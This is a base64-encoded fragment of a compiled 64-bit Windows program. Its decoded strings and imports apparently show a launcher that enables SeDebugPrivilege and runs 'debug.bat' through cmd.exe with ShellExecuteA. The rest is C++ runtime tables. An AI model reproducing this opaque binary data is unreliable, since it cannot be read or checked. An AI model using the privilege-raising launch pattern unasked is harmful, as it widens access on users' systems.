wAA0ACgAtACAAYQBiAG8AcgB0ACgAKQAgAGgAYQBzACAAYgBlAGUAbgAgAGMAYQBsAGwAZQBkAA0ACgAAAAAAAAAAAAAAAABSADYAMAAwADkADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABlAG4AdgBpAHIAbwBuAG0AZQBuAHQADQAKAAAAAAAAAAAAAABSADYAMAAwADgADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABhAHIAZwB1AG0AZQBuAHQAcwANAAoAAAAAAAAAAAAAAAAAAABSADYAMAAwADIADQAKAC0AIABmAGwAbwBhAHQAaQBuAGcAIABwAG8AaQBuAHQAIABzAHUAcABwAG8AcgB0ACAAbgBvAHQAIABsAG8AYQBkAGUAZAANAAoAAAAAAAAAAAACAAAAAAAAAFCAAIABAAAACAAAAAAAAADwfwCAAQAAAAkAAAAAAAAAkH8AgAEAAAAKAAAAAAAAAEB/AIABAAAAEAAAAAAAAADgfgCAAQAAABEAAAAAAAAAgH4AgAEAAAASAAAAAAAAADB+AIABAAAAEwAAAAAAAADQfQCAAQAAABgAAAAAAAAAYH0AgAEAAAAZAAAAAAAAABB9AIABAAAAGgAAAAAAAACgfACAAQAAABsAAAAAAAAAMHwAgAEAAAAcAAAAAAAAAOB7AIABAAAAHgAAAAAAAACYewCAAQAAAB8AAAAAAAAA0HoAgAEAAAAgAAAAAAAAAGB6AIABAAAAIQAAAAAAAABweACAAQAAAHgAAAAAAAAASHgAgAEAAAB5AAAAAAAAACh4AIABAAAAegAAAAAAAAAIeACAAQAAAPwAAAAAAAAAAHgAgAEAAAD/AAAAAAAAAOB3AIABAAAATQBpAGMAcgBvAHMAbwBmAHQAIABWAGkAcwB1AGEAbAAgAEMAKwArACAAUgB1AG4AdABpAG0AZQAgAEwAaQBiAHIAYQByAHkAAAAAAAoACgAAAAAAAAAAAC4ALgAuAAAAPABwAHIAbwBnAHIAYQBtACAAbgBhAG0AZQAgAHUAbgBrAG4AbwB3AG4APgAAAAAAUgB1AG4AdABpAG0AZQAgAEUAcgByAG8AcgAhAAoACgBQAHIAbwBnAHIAYQBtADoAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgACAAIAAgACAAIAAgACAAIAAoACgAKAAoACgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEACEAIQAhACEAIQAhACEAIQAhACEABAAEAAQABAAEAAQABAAgQCBAIEAgQCBAIEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABABAAEAAQABAAEAAQAIIAggCCAIIAggCCAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAQABAAEAAQACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAgACAAIAAgACAAIAAgACAAaAAoACgAKAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAhACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEBgQGBAYEBgQGBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEQABAAEAAQABAAEACCAYIBggGCAYIBggECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBEAAQABAAEAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABIABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAUABQAEAAQABAAEAAQABQAEAAQABAAEAAQABAAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBARAAAQEBAQEBAQEBAQEBAQECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgEQAAIBAgECAQIBAgECAQIBAgEBAQAAAAAAAAAAAAAAAICBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn+AgYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6ytrq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+fr7/P3+/4CBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWltcXV5fYEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlae3x9fn+AgYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6ytrq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+fr7/P3+/0dldFByb2Nlc3NXaW5kb3dTdGF0aW9uAEdldFVzZXJPYmplY3RJbmZvcm1hdGlvblcAAAAAAAAAR2V0TGFzdEFjdGl2ZVBvcHVwAAAAAAAAR2V0QWN0aXZlV2luZG93AE1lc3NhZ2VCb3hXAAAAAABVAFMARQBSADMAMgAuAEQATABMAAAAAAAgQ29tcGxldGUgT2JqZWN0IExvY2F0b3InAAAAAAAAACBDbGFzcyBIaWVyYXJjaHkgRGVzY3JpcHRvcicAAAAAIEJhc2UgQ2xhc3MgQXJyYXknAAAAAAAAIEJhc2UgQ2xhc3MgRGVzY3JpcHRvciBhdCAoAAAAAAAgVHlwZSBEZXNjcmlwdG9yJwAAAAAAAABgbG9jYWwgc3RhdGljIHRocmVhZCBndWFyZCcAAAAAAGBtYW5hZ2VkIHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAAGB2ZWN0b3IgdmJhc2UgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAAAAAGB2ZWN0b3IgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAABgZHluYW1pYyBhdGV4aXQgZGVzdHJ1Y3RvciBmb3IgJwAAAAAAAAAAYGR5bmFtaWMgaW5pdGlhbGl6ZXIgZm9yICcAAAAAAABgZWggdmVjdG9yIHZiYXNlIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAABgZWggdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYG1hbmFnZWQgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGBtYW5hZ2VkIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgcGxhY2VtZW50IGRlbGV0ZVtdIGNsb3N1cmUnAAAAAGBwbGFjZW1lbnQgZGVsZXRlIGNsb3N1cmUnAAAAAAAAYG9tbmkgY2FsbHNpZycAACBkZWxldGVbXQAAACBuZXdbXQAAAAAAAGBsb2NhbCB2ZnRhYmxlIGNvbnN0cnVjdG9yIGNsb3N1cmUnAAAAAABgbG9jYWwgdmZ0YWJsZScAYFJUVEkAAABgRUgAAAAAAGB1ZHQgcmV0dXJuaW5nJwBgY29weSBjb25zdHJ1Y3RvciBjbG9zdXJlJwAAAAAAAGBlaCB2ZWN0b3IgdmJhc2UgY29uc3RydWN0b3IgaXRlcmF0b3InAABgZWggdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAGBlaCB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAAAAAABgdmlydHVhbCBkaXNwbGFjZW1lbnQgbWFwJwAAAAAAAGB2ZWN0b3IgdmJhc2UgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAABgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYHNjYWxhciBkZWxldGluZyBkZXN0cnVjdG9yJwAAAABgZGVmYXVsdCBjb25zdHJ1Y3RvciBjbG9zdXJlJwAAAGB2ZWN0b3IgZGVsZXRpbmcgZGVzdHJ1Y3RvcicAAAAAYHZiYXNlIGRlc3RydWN0b3InAAAAAAAAYHN0cmluZycAAAAAAAAAAGBsb2NhbCBzdGF0aWMgZ3VhcmQnAAAAAGB0eXBlb2YnAAAAAAAAAABgdmNhbGwnAGB2YnRhYmxlJwAAAAAAAABgdmZ0YWJsZScAAABePQAAfD0AACY9AAA8PD0APj49ACU9AAAvPQAALT0AACs9AAAqPQAAfHwAACYmAAB8AAAAXgAAAH4AAAAoKQAALAAAAD49AAA+AAAAPD0AADwAAAAlAAAALwAAAC0+KgAmAAAAKwAAAC0AAAAtLQAAKysAACoAAAAtPgAAb3BlcmF0b3IAAAAAW10AACE9AAA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AAAAAWKMAAAAAAABwowAAAAAAAIijAAAAAAAAlKMAAAAAAACeowAAAAAAAKqjAAAAAAAAvKMAAAAAAADKowAAAAAAANqjAAAAAAAA5qMAAAAAAAD8owAAAAAAAAikAAAAAAAAGKQAAAAAAAAupAAAAAAAAAAAAAAAAAAAAqAAAAAAAAAAAAAAAAAAAMYBR2V0Q3VycmVudFByb2Nlc3MAwARTbGVlcABSAENsb3NlSGFuZGxlAEtFUk5FTDMyLmRsbAAA9wFPcGVuUHJvY2Vzc1Rva2VuAACWAUxvb2t1cFByaXZpbGVnZVZhbHVlQQAfAEFkanVzdFRva2VuUHJpdmlsZWdlcwBBRFZBUEkzMi5kbGwAAB4BU2hlbGxFeGVjdXRlQQBTSEVMTDMyLmRsbADLAUdldEN1cnJlbnRUaHJlYWRJZAAAWwFGbHNTZXRWYWx1ZQCMAUdldENvbW1hbmRMaW5lQQDOBFRlcm1pbmF0ZVByb2Nlc3MAAOIEVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAACzBFNldFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgACA0lzRGVidWdnZXJQcmVzZW50ACYEUnRsVmlydHVhbFVud2luZAAAHwRSdGxMb29rdXBGdW5jdGlvbkVudHJ5AAAYBFJ0bENhcHR1cmVDb250ZXh0ACUEUnRsVW53aW5kRXgA7gBFbmNvZGVQb2ludGVyAFoBRmxzR2V0VmFsdWUAWQFGbHNGcmVlAIAEU2V0TGFzdEVycm9yAAAIAkdldExhc3RFcnJvcgAAWAFGbHNBbGxvYwAA1wJIZWFwRnJlZQAATAJHZXRQcm9jQWRkcmVzcwAAHgJHZXRNb2R1bGVIYW5kbGVXAAAfAUV4aXRQcm9jZXNzAMsARGVjb2RlUG9pbnRlcgB8BFNldEhhbmRsZUNvdW50AABrAkdldFN0ZEhhbmRsZQAA6wJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50APoBR2V0RmlsZVR5cGUAagJHZXRTdGFydHVwSW5mb1cA0gBEZWxldGVDcml0aWNhbFNlY3Rpb24AGQJHZXRNb2R1bGVGaWxlTmFtZUEAAGcBRnJlZUVudmlyb25tZW50U3RyaW5nc1cAIAVXaWRlQ2hhclRvTXVsdGlCeXR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